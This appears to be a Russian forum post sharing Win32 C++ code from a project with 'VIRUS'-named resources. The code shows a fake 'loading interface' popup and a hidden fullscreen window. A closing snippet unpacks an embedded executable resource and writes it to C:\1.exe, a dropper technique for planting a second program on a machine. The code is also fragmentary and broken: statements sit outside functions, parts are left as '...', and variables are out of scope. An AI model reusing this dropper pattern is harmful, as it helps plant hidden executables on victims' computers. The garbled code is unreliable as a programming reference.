Прикрепить + программно запустить .exe Файл + бонус

#include "stdafx.h"
#include "gate.h"
#include <stdio.h>
#define MAX_LOADSTRING 100
 
// Global Variables:
HINSTANCE hInst;                                // current instance
TCHAR szTitle[MAX_LOADSTRING];                  // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING];    
TCHAR szWindowClass2[MAX_LOADSTRING]; // the main window class name
TCHAR mainMessage[] = L"Загрузка интерфейса";
TCHAR justMessage[] = L"Здрасbте";
HANDLE hFile; 
 
 
// Forward declarations of functions included in this code module:
ATOM                MyRegisterClass(HINSTANCE hInstance);
ATOM                MyRegisterClass2(HINSTANCE hInstance);
BOOL                InitInstance(HINSTANCE, int);
LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
LRESULT CALLBACK    WndProc2(HWND, UINT, WPARAM, LPARAM);
 
int APIENTRY _tWinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);
 
    // TODO: Place code here.
    MSG msg;
    HACCEL hAccelTable;
 
    // Initialize global strings
    LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
    LoadString(hInstance, IDC_VIRUS32, szWindowClass, MAX_LOADSTRING);
    LoadString(hInstance, IDC_VIRUS33, szWindowClass2, MAX_LOADSTRING);
    MyRegisterClass(hInstance);
    MyRegisterClass2(hInstance);
 
    // Perform application initialization:
    if (!InitInstance (hInstance, nCmdShow))
    {
        return FALSE;
    }
 
    hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_VIRUS32));
    hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_VIRUS33));
 
    // Main message loop:
    while (GetMessage(&msg, NULL, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
 
    return (int) msg.wParam;
}
 
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;
 
    wcex.cbSize = sizeof(WNDCLASSEX);
 
    wcex.style          = ...;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS32));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)GetStockObject(BLACK_BRUSH);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 
    return RegisterClassEx(&wcex);
}
 
ATOM MyRegisterClass2(HINSTANCE hInstance)
{
    WNDCLASSEX wcex;
 
    wcex.cbSize = sizeof(WNDCLASSEX);
 
    wcex.style          = ...;
    wcex.lpfnWndProc    = WndProc2;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIRUS32));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)GetStockObject(BLACK_BRUSH);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass2;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 
    return RegisterClassEx(&wcex);
}
 
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;
   HWND hWnd2;
 
   hInst = hInstance; // Store instance handle in our global variable
 
   hWnd = CreateWindow(
       szWindowClass, 
       L"", 
       WS_POPUP,
       GetSystemMetrics(SM_CXSCREEN)/2-100, 
       GetSystemMetrics(SM_CYSCREEN)/2-25, 
       200, 
       50, 
       NULL, 
       NULL, 
       hInstance, 
       NULL);
 
   hWnd2 = CreateWindow(
       szWindowClass2, 
       L"", 
       WS_POPUP,
       0, 
       0, 
       GetSystemMetrics(SM_CXSCREEN), 
       GetSystemMetrics(SM_CYSCREEN), 
       hWnd, 
       NULL, 
       hInstance, 
       NULL);
 
   if (!hWnd)
   {
      return FALSE;
   }
 
    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);
 
    ShowWindow(hWnd2, SW_HIDE);
    UpdateWindow(hWnd2);
   return TRUE;
}
 
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    HDC hdc;
    PAINTSTRUCT ps;
    RECT rect;
    COLORREF colorText = RGB(255, 255, 255);
 
    switch (message)
    {
    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
        GetClientRect(hWnd, &rect);
        SetTextColor(hdc, colorText);
        SetBkColor(hdc,TRANSPARENT);
        DrawText(hdc, mainMessage, -1, &rect, DT_SINGLELINE|DT_CENTER|DT_VCENTER);
        SendMessage(hWnd2,SW_SHOW,0,0); //ShowWindows тоже пробовал 
        EndPaint(hWnd, &ps);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}
 
LRESULT CALLBACK WndProc2(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    HDC hdc;
    PAINTSTRUCT ps;
    RECT rect;
    COLORREF colorText = RGB(255, 255, 255);
    const HFONT hFont=(HFONT)GetStockObject(DEFAULT_GUI_FONT);
    switch (message)
    {
    case WM_PAINT:
            hdc=BeginPaint(hWnd,&ps);            
            SetBkColor(hdc,TRANSPARENT);
            SetTextColor(hdc,RGB(255,255,255));
            DrawText(hdc, justMessage, -1, &rect, DT_SINGLELINE|DT_CENTER|DT_VCENTER);
            EndPaint(hWnd,&ps);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

#define IDR_EXE1 138

HRSRC    hResInfo       = ::FindResource(hInst, (LPCWSTR)IDR_EXE_STARTER1, L"EXE_STARTER");
HGLOBAL  hRes           = ::LoadResource(hInst, hResInfo);
LPVOID   memRes         = ::LockResource(hRes);
DWORD    sizeRes        = ::SizeofResource(hInst, hResInfo);
 
HANDLE hFile = ::CreateFile(L"C:\\1.exe", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwWritten = 0;
::WriteFile(hFile, memRes, sizeRes, &dwWritten, NULL);
::CloseHandle(hFile);

case WM_CREATE:     
            SetTimer(hWnd, 0, 3000, NULL);     
        break;     
    case WM_TIMER: 
            ShowWindow(hWnd2,SW_SHOW);
            KillTimer(hWnd, 0);
        break;